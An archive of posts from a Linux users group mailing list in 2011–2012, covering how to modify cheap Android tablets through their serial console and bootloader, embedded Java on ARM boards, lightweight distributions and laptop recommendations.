 what I've seen most of them have the same basic features - at least 1 serial
 port, Card reader, eeprom flashed with boot-loader, and the ARM processor in
 an SOC (System On Chip) configuration.

 If you are lucky the system board will have the serial port brought out to a
 header or Vias that you can attach the wires to.

 In my case there were vias but they weren't labelled. I found a web article
 a guy wrote who had a similar netbook and who had determined which vias were
 tx, rx, ground.

 If your unlucky in that the serial port HASN'T been brought out onto the
 system board you'll have to get the datasheet for the proc and identify the
 serial pins that way.

 A PC serial port (RS232) can run voltages anywhere from 10volts to 50volts
 from what I remember which is why we use the RS232 to lvTTL converter.

 LvTTL is low voltage (3.3volt) Transisitor to Transistor Logic.


 I've got some schematics to make such a converter - pretty basic, couple of
 caps, couple of transistors, couple of resistors.

 But I'd recommend buying one of the nokia sync cables because you can be
 fairly certain its going to work.

 The last one I bought was about $5 with free shipping. An ebay search for
 Nokia CA-42 should give you a few local options.

 As for butchering it, I've got a link somewhere. ill dig it up and send to
 you. Its really easy.


 One question I've got, can you see any obvious ways to open the tablet?

 A guy I work with bought a cheap one off ebay, couldn't workout how to open
 it without destroying it.


 And another question, what do you want to hack it to do?


 The only thing I don't like about these devices is you can't really just run
 the netinstall of debian, or you can't run a stock standard linux kernel
 because of device drivers and other board specific stuff.

 You need to use kernel compiled for the board which peeves me off because I
 still haven't found any up to date kernels, and the kernels lack things I'd
 really like - like the prerequisites for IPSec VPN, more supported
 filesystems, etc

 I was able to get my hands on the manufacturers source thanks to GPL
 obligations but I'm a total amature at taking someone elses device driver
 source and integrating it into a recent kernel source.


 Anyway, really interested to see how you go hacking it.

 One word of advice, if you get on to the console, take a full backup before
 you start changing anything. Just dump the raw data via tftp somewhere safe
 so you can dump it back on to the tab if you mess up.

 If the previous owner of my netbook had done that it probably would have
 saved me about 2 solid months of searching for compatible boot loaders and
 android images.

 Sent from my BlackBerry

 -Original Message-
 From: David Lyon david.lyon.preissh...@gmail.com
 Sender: slug-boun...@slug.org.au
 Date: Fri, 17 Feb 2012 17:42:05
 To: SLUGslug@slug.org.au
 Subject: Re: [SLUG] Hacking Hackable Android Pads

 That's very interesting information. Perhaps because I half understand
 what you're talking about.

 I bought an ARM development board and it exposes the exact same
 serial console on boot. So many the Arm boards work like this?

 So I would be looking for two pins on the processor ?

 I'm up to speed with running a 5v serial line. But aren't those processors
 a bit lower? as in 2.7v or something?

 Thanks for the leads. Fantastic.

 On Fri, Feb 17, 2012 at 2:45 PM, Christopher Barnes 
 chris.p.bar...@gmail.com wrote:

 I don't know about these tablet devices but I once had to hack a little
 android netbook because it had been bricked.

 If the tabs are anything like this netbook then its generally not too
 hard.


 This netbook was an ARM based system with about 128meg ram and 2gig
 onboard Nand flash for storage.


 In a nut shell I had to get a RS232 to lvTTL converter - FT232 chips do
 this or there's old nokia USB sync cables you can butcher.

 Had to find the serial port pin-out on the system board and solder the
 serial converter wires onto it.

 That gave me access to the netbooks serial console.

 I was then able to get access to the boot loader on the device (uBoot).

 From there I

[SLUG] Hacking Hackable Android Pads

2012-02-16 Thread David Lyon
There's lots of inexpensive Android Tablets. Junk? perhaps:

 - http://www.aliexpress.com/wholesale?SearchText=android+tabletcatId=0

Question is, how to hack these things?

They have a linux bootloader, where's information on that generally ?

I know you have to build a kernel. That means picking devices on the board.

How's this all done ? Any good sources for Linux Kernels? Whats a good
Pad to use as a base?
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Re: [SLUG] Hacking Hackable Android Pads

2012-02-16 Thread David Lyon
That's very interesting information. Perhaps because I half understand
what you're talking about.

I bought an ARM development board and it exposes the exact same
serial console on boot. So many the Arm boards work like this?

So I would be looking for two pins on the processor ?

I'm up to speed with running a 5v serial line. But aren't those processors
a bit lower? as in 2.7v or something?

Thanks for the leads. Fantastic.

On Fri, Feb 17, 2012 at 2:45 PM, Christopher Barnes 
chris.p.bar...@gmail.com wrote:

 I don't know about these tablet devices but I once had to hack a little
 android netbook because it had been bricked.

 If the tabs are anything like this netbook then its generally not too hard.


 This netbook was an ARM based system with about 128meg ram and 2gig
 onboard Nand flash for storage.


 In a nut shell I had to get a RS232 to lvTTL converter - FT232 chips do
 this or there's old nokia USB sync cables you can butcher.

 Had to find the serial port pin-out on the system board and solder the
 serial converter wires onto it.

 That gave me access to the netbooks serial console.

 I was then able to get access to the boot loader on the device (uBoot).

 From there I could manipulate boot settings, i could boot from SD card,
 boot from TFTP, copy a new kernel into the onboard flash, change the boot
 splash, etc.


 Finding good working android images was the hard part because the
 manufacturer didn't publish any android images so I had to rely on images
 people had dumped from their devices.

 And due to significant hardware differences they didn't really work well -
 no sound, or no mouse, or no wifi, etc.

 In the end I dumped Debian on it and used an android kernel to boot it.

 --Original Message--
 From: David Lyon
 Sender: slug-boun...@slug.org.au
 To: SLUG
 Subject: [SLUG] Hacking Hackable Android Pads
 Sent: Feb 17, 2012 2:02 PM

 There's lots of inexpensive Android Tablets. Junk? perhaps:

  - http://www.aliexpress.com/wholesale?SearchText=android+tabletcatId=0

 Question is, how to hack these things?

 They have a linux bootloader, where's information on that generally ?

 I know you have to build a kernel. That means picking devices on the board.

 How's this all done ? Any good sources for Linux Kernels? Whats a good
 Pad to use as a base?
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[SLUG] Linux Internet Radio - how to ?

2012-02-13 Thread David Lyon
On my Nokia phone I located this channel:

 - http://www.paris-one.com/dance/

Works on my phone.

Anybody know how to program that to work on an embedded
linux machine ? In either C++ or Python?

Thanks
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Re: [SLUG] Re: Android-based smartphones - any drawbacks ?

2012-02-04 Thread David Lyon
well, another viewpoint.

I bought a new notebook and it came with windows 7.

For years I've not felt so dissappointed with a computer. I just
couldn't find anything fun to do with it.

They've even removed 'debug'.. Shish-ka-bobs.

Then After I got Ubuntu 11 on, the machine is my sense of lovely. g++
was built in. Whoah.


On 2/5/12, Patrick Elliott-Brennan m...@elliott-brennan.id.au wrote:
 FOSS vs proprietary software is not a fetish. It's an ethical issue.
 As much as making decisions as to what sort of school (or even whether
 you send your children to school), or whether you will become a
 vegetarian or NOT be a vegetarian is an ethical issue.

 Some people can be accused of presenting their ethical positions in an
 almost religiously fundamentalist fashion and can be accused of being
 dramatic or dogmatic. Usually this is more a result of their personal
 presentation and inability to calmly or clearly discuss their
 position. In neither case is this a reflection of the validity of
 their views, more the response they receive and the reputation  that
 results.

 It's even possible some people do 'fetishise' the subject of
 FOSS/Properietary software. I think this is the case with things like
 Apple products. However, this does not make the subject any less an
 ethical issue.

 If you are serious in phrasing it as a 'fetish' then I'd suggest
 looking up the difference.

 That said, I don't know if you are serious and I could be seriously
 oblivious to a subtle, dry humorous comment. In which case: My big.

 Regards,

 Patrick


 I do not think FOSS vx proprietary software is a moral issue, it is a
 fettish. Now if others care about your fettish then kewl, and if they are
 pragmatic in any form words of disapproval are discourteous.
 Sadly, people these days don't care ...
 ouch!
 James
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Re: [SLUG] Building Java for embedded Linux

2011-12-22 Thread David Lyon
Thanks Steve,

Very helpful.

I will try some of the downloads from:

http://www.oracle.com/technetwork/java/embedded/resources/se-embeddocs/index.html
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[SLUG] Building Java for embedded Linux

2011-12-21 Thread David Lyon
I'm wondering how to get Java running on an embedded linux ARM
board.

Anybody know how to do it?
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Re: [SLUG] Building Java for embedded Linux

2011-12-21 Thread David Lyon
I found something called openjdk so I will have a try with that.

On 12/22/11, Jason Ball ja...@ball.net wrote:
 Not sure.. But I have an old Java iButton (1-wire) with embedded VM if you
 want it ;)

 Personally I would look at some of the native code generators available
 rather than running an interpreter.

 J.


 On Thu, Dec 22, 2011 at 10:19 AM, David Lyon 
 david.lyon.preissh...@gmail.com wrote:

 I'm wondering how to get Java running on an embedded linux ARM
 board.

 Anybody know how to do it?
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 vk2f...@google.com

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Re: [SLUG] Android for work

2011-12-15 Thread David Lyon
I will give pclinux a go next time, I think.

Well, by lack of answers it would seem Android may just be a toy.
Given nobody is putting their hand up to say 'yeah, its a good work
tool'.

Will run a phone though.. No debate about that.

On 12/15/11, Heracles herac...@iprimus.com.au wrote:
 On 15/12/11 13:02, David Lyon wrote:
 On Thu, Dec 15, 2011 at 9:45 AM, James Linderj...@tigger.ws  wrote:
 When an elderly and distinguished scientist say something is not possible
 he is nearly always wrongsmile
 I know I could buy more memory or get multicores.. involves money and
 time..

 The memory footprint of ubuntu 11 is obviously too much for the hardware I
 have
 and I'm not claiming anything else.

 I found Puppy to be kewl, but a bit off the beaten track. I used it for
 small embedded stuff, and much as I'm not a fan of the whole ubuntu
 paradgsm it does work and there is lots of expertise if you need it.

 Still if puppy works for you then use it :-)
 Embedded is what I'm working on.. so the speed advantage is what I need.
 PCLinuxOS is fast, uses a light X11 interface and works well in older
 hardware and just about set up my wifi for me. I have the 64bit version
 and it flies.
 Heracles

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Re: [SLUG] Re: Android for work

2011-12-15 Thread David Lyon
Well I noticed that it has gftp, some text-editors, maybe geany, a command line.

It can run python and compile java. Subversion it can also run I think.

So I'd say its got the potential not to be a toy.



On 12/16/11, elliott-brennan elliottbren...@gmail.com wrote:
 Is anyone on the list using Android for a
 significant amount of work?

 I've been considering the Asus Transformer for the
 ability to have a proper keyboard and touch pad
 and then use it as a tablet when that's all I want.

 However, I see it as a bigger version of my phone
 - with a bigger keyboard.

 Connecting to another device or text-based work
 (writing, blogging etc) - sure. Past that, I'm not
 clear either what level of 'work' one is able to
 achieve.

 You could connect to your home machine and then
 get it to do the hard work???

 Correct me if I'm wrong :)) but unless you're
 using some cloud-based server to do the hard work
 (eg. using Piknic for your photo editing) I would
 imagine Android wouldn't be as useful or capable
 as having a proper 'nix install.

 Given I only have Android on my phone, I really
 can't say I've enough experience on which to base
 a globally useful reply :))

 Regards,

 Patrick
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[SLUG] Android for work

2011-12-14 Thread David Lyon
I have been using Ubuntu 10.10 for work - just fine. At home I tried Ubuntu 11
and one my one or two year old hardware it just has unacceptable performance
ie 10 - 20 seconds to respond to menu clicks etc.

So, there is Android 3.2 from:

 http://www.android-x86.org/

Any good for tech work? ie light development, modding websites, ftp, python,
databases etc.

I notice it has dosbox, geany and most of the other tools are ported.
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Re: [SLUG] Android for work

2011-12-14 Thread David Lyon
maybe 2 years is really 5 or 6..

Actually, I just jumped over to learn Puppy Linux. Pretty hardcore
but everything is quite good. Ubuntu has nice graphical effects but
I have work to do and willing to lose them in an effort to get some
stuff done..

still curious about Android..
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Re: [SLUG] Android for work

2011-12-14 Thread David Lyon
On Thu, Dec 15, 2011 at 9:45 AM, James Linder j...@tigger.ws wrote:
 When an elderly and distinguished scientist say something is not possible he 
 is nearly always wrong smile

I know I could buy more memory or get multicores.. involves money and time..

The memory footprint of ubuntu 11 is obviously too much for the hardware I have
and I'm not claiming anything else.

 I found Puppy to be kewl, but a bit off the beaten track. I used it for small 
 embedded stuff, and much as I'm not a fan of the whole ubuntu paradgsm it 
 does work and there is lots of expertise if you need it.

 Still if puppy works for you then use it :-)

Embedded is what I'm working on.. so the speed advantage is what I need.
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Re: [SLUG] Lightweight distribution

2011-12-06 Thread David Lyon
Depends what you are looking to do.

Have you tried Puppy Linux?

DSL - Damned Small Linux

I agree wireless is harder on lighter distro's.

Maybe that is the area that you need to Master. Then load that as a
custom script.


On 11/30/11, Edwin Humphries edw...@netsensecomputers.com.au wrote:
 G'day all,

 I'm looking for the right distro to install. I have a couple of laptops
 that I don't care if they break, so I can take out to work-sites where
 we're doing installations in sometimes less than hospitable circumstances.

  1. Because they're old laptops, I need a fairly lightweight
 distribution - perhaps based on xfce or Enlightenment or similar.
  2. There for things like network configuration  troubleshooting, so
 support for media playback is of no consequence.
  3. Because so many networks are wireless or hybrid with wireless,
 simple wireless support is essential.

 It seems to me from the distros I've tried, you can have condition 1
 met, or condition 3. But not both - most of the lightweight distros seem
 to assume that one is rpepared to spend half-an-hour on each wireless
 network setting it up - and whilst I'm not a newbie, I don't really get
 off on always doing things the hard way.

 Does anyone have any suggestions?

 --

 NetSense Computers logoRegards,
 Edwin Humphries
 Mobile: 0419 233 051
 NetSense Computers (Ironstone Technology Pty Ltd)
 79 Barney St (P. O. Box 423), Kiama, NSW, 2533
 Phone: +61 (0)2 4233 2285
 Fax: +61 (0)2 4233 2781
 Web: http://www.netsensecomputers.com.au

 --
 This email is intended for the named addressee/s only and may contain
 confidential or privileged information. If you are not a named addressee
 please delete it and notify the sender.
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 /At every moment he beholdeth a wondrous world, a new creation, and
 goeth from astonishment to astonishment, and is lost in awe at the works
 of the Lord of Oneness./ Baha'u'llah, The Seven Valleys
 ./.. humans are interesting. With all the wonders there are in the
 Universe, they invented boredom./ Terry Pratchet, Hogfather
 /The most beautiful thing we can experience is the mysterious. It is
 the source of all true art and all science. He to whom this emotion is a
 stranger, who can no longer pause to wonder and stand rapt in awe, is as
 good as dead: his eyes are closed./ Albert Einstein
 /Stuff your eyes with wonder ... live as if you'd drop dead in ten
 seconds. See the world. It's more fantastic than any dream made or paid
 for in factories./ Ray Bradbury


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Re: [SLUG] advice for new laptop...

2011-12-04 Thread David Lyon
Simran,

I understand... you are after true beauty..

maybe you need a fignition system:

 - http://hackaday.com/2011/12/04/a-keyboard-for-your-fignition/
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Re: [SLUG] advice for new laptop...

2011-12-04 Thread David Lyon
umm... yeah... but doesn't run linux afaik

On Mon, Dec 5, 2011 at 11:07 AM, simran sim...@dn.gs wrote:
 haha... indeed... would be good... although i think i'd still prefer my zx
 spectrum :)

 On Mon, Dec 5, 2011 at 11:04 AM, David Lyon
 david.lyon.preissh...@gmail.com wrote:

 Simran,

 I understand... you are after true beauty..

 maybe you need a fignition system:

  - http://hackaday.com/2011/12/04/a-keyboard-for-your-fignition/
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Re: [SLUG] advice for new laptop...

2011-12-02 Thread David Lyon
HP-Envy with 8 cores are pretty nice for Ubuntu..

The hard-drives inside have a design flaw which causes them to
overheat and die. SSD would fix that.

I repaired one for a friend, just booted ubuntu from usb. Great!

On Sat, Dec 3, 2011 at 10:44 AM, simran sim...@dn.gs wrote:
 hi all,

 wanted to ask you for some advice... i need a new laptop, and here's my
 needs:

 must have's:
 * SSD hard drive (or at least a quick HD)
 * at least 8 Gig's RAM (12-16 Gig's would be ideal)
 * two finger scroll on the touchpad (like macbook pro's etc have as a
 default)
 * solid robust reliable hardy hardware

 would really love:
 * beautiful 15 screen (good hi-res one with a nice looking display)
 * nice form for the laptop in general (aka, just looks beautiful :) ah...
 i've been swayed by few things apple

 Is there anything you can recommend?

 I want to stay away from apple because:
 * I use linux (ubuntu) for all development anyway (in a VM)
 * Mostly i'm just using the browser for just about everything else (email
 (gmail), documents (google docs), etc)
 * Hate the way they are chasing samsung trying to block galaxy tabs...:)

 would really appreciate the recommendation of people in this group, if
 anyone knows linux, it's you guys :)

 simran.
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[SLUG] New ARM tools for Native apps on Android

2011-11-30 Thread David Lyon
http://arstechnica.com/gadgets/news/2011/11/arms-new-tools-make-it-easier-for-android-devs-to-use-native-code.ars
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Re: [SLUG] SLUG Meeting November 2011: GPS Time Sync Talk.

2011-11-23 Thread David Lyon
I wish I had something ready.

At the moment I'm trying to get Navit working on an STM32 based
board.

There's a whole changeover to Android and some very interesting
things to work on.

I'm sure we could fill 2012 with talks from people. I'm surprised how
much linux there actually is inside Android. It seems to be a fancy
Linux OS just for running Java apps. Maybe there's more..

we should dig to see..

On Mon, Nov 21, 2011 at 11:07 PM, M Willis will...@westnet.com.au wrote:
 Hi Everyone,

 I have talked to Patrick before about this, but the email monster
 seems to be eating my messages.

 Is someone interested giving a talk on Friday about satellite
 navigation; such as Geocaching, Geolocation or systems such
 as OpenStreetMap or Google Maps?

 Regards

 Mark

 
 [Here is the talk that I propose to give at the meeting]

 In 2012 there will be big changes for Global Navigation
 Satellite Systems (GNSS) such as GPS.

 As illustrated by the first affordable GLONASS receivers
 such as in the iPhone 4GS, GPS will no longer have a
 monopoly on satellite navigation.

 This focus of talk is the use of GPS/GNSS in precision
 applications such in time synchronisation.

  The future of GPS/GNSS and Time Transfer Systems:
  The times they are a changing
  1. Reasons for precision timing - such as regulatory
     compliance and performance monitoring
  2. The future of GPS (L2C,L5,L1C) and other GNSS options
     GLONASS, Galileo, Beidou/COMPASS, QZSS and MSAS/WAAS
  3. GPS receiver choices and Antennas.
  4. PPS signals and your computer and the limits of computer
     time synchronisation

  The coverage of GPS and other satellite systems should be
  interest to any one who uses GPS for navigation.

 [At the level of the old SLUG Main Talk this will take 30 minutes]





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Re: [SLUG] Re: Alternatives to Gnome3

2011-11-23 Thread David Lyon
Everybody wants slippery slidy finger driven desktops these days.

If it's not like that then it's not cool.
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Re: [SLUG] Re: Alternatives to Gnome3

2011-11-23 Thread David Lyon
I've given up trying to find any job. Not employable.

Rather, I'm trying to build a pad computer based on Android to take
back to Japan and sell.

The whole android hardware thing is going through a massive
transformation and there's just a whole lot of things 'not-right'
about android that require special parts to fix.

This is well understood in Japan.

Most of the Taiwanese pads are clones of the japanese pads.

What I mean about the transformation is doing things like android
keyboards that sit on the stearing wheel of the car. Android is being
embedded in everything. A massive transformation is about to happen.
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Re: [SLUG] Using a Dual SIM Android Smart Phone

2011-09-28 Thread David Lyon
They're definitely not so common in Australia, but in the middle east such
as Turkey (well half europe/half middle east) most people have phones like
that.

Basically, if half of your friends are on one network, the other half are on
another. So they enable people to get cheap calls by allowing you to be
on several different networks at once.

Obviously, here where the networks push out the cheap subsidised phones,
well they are not so commonly available.

Interesting though...

On Thu, Sep 29, 2011 at 12:17 PM, Tom Worthington 
tom.worthing...@tomw.net.au wrote:

 I have volunteered to talk on Using a Dual SIM Android Smart Phone at the
 SLUG meeting this Friday, on:

 Using a Dual SIM Android Smart Phone
 by Tom Worthington FACS CP HLM

 One of the more unusual Google Android smart phones available is the Huawei
 Deuce U8520, which has provision for two SIM cards and so can be connected
 to two different mobile phone networks, with two different telephone numbers
 simultaneously. The benefits and limitations of this and other features will
 be discussed.

 See also: http://blog.tomw.net.au/2011/**09/huawei-deuce-u8520-dual-**
 sim-android.htmlhttp://blog.tomw.net.au/2011/09/huawei-deuce-u8520-dual-sim-android.html


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 Legislation

 Adjunct Senior Lecturer, Research School of Computer Science,
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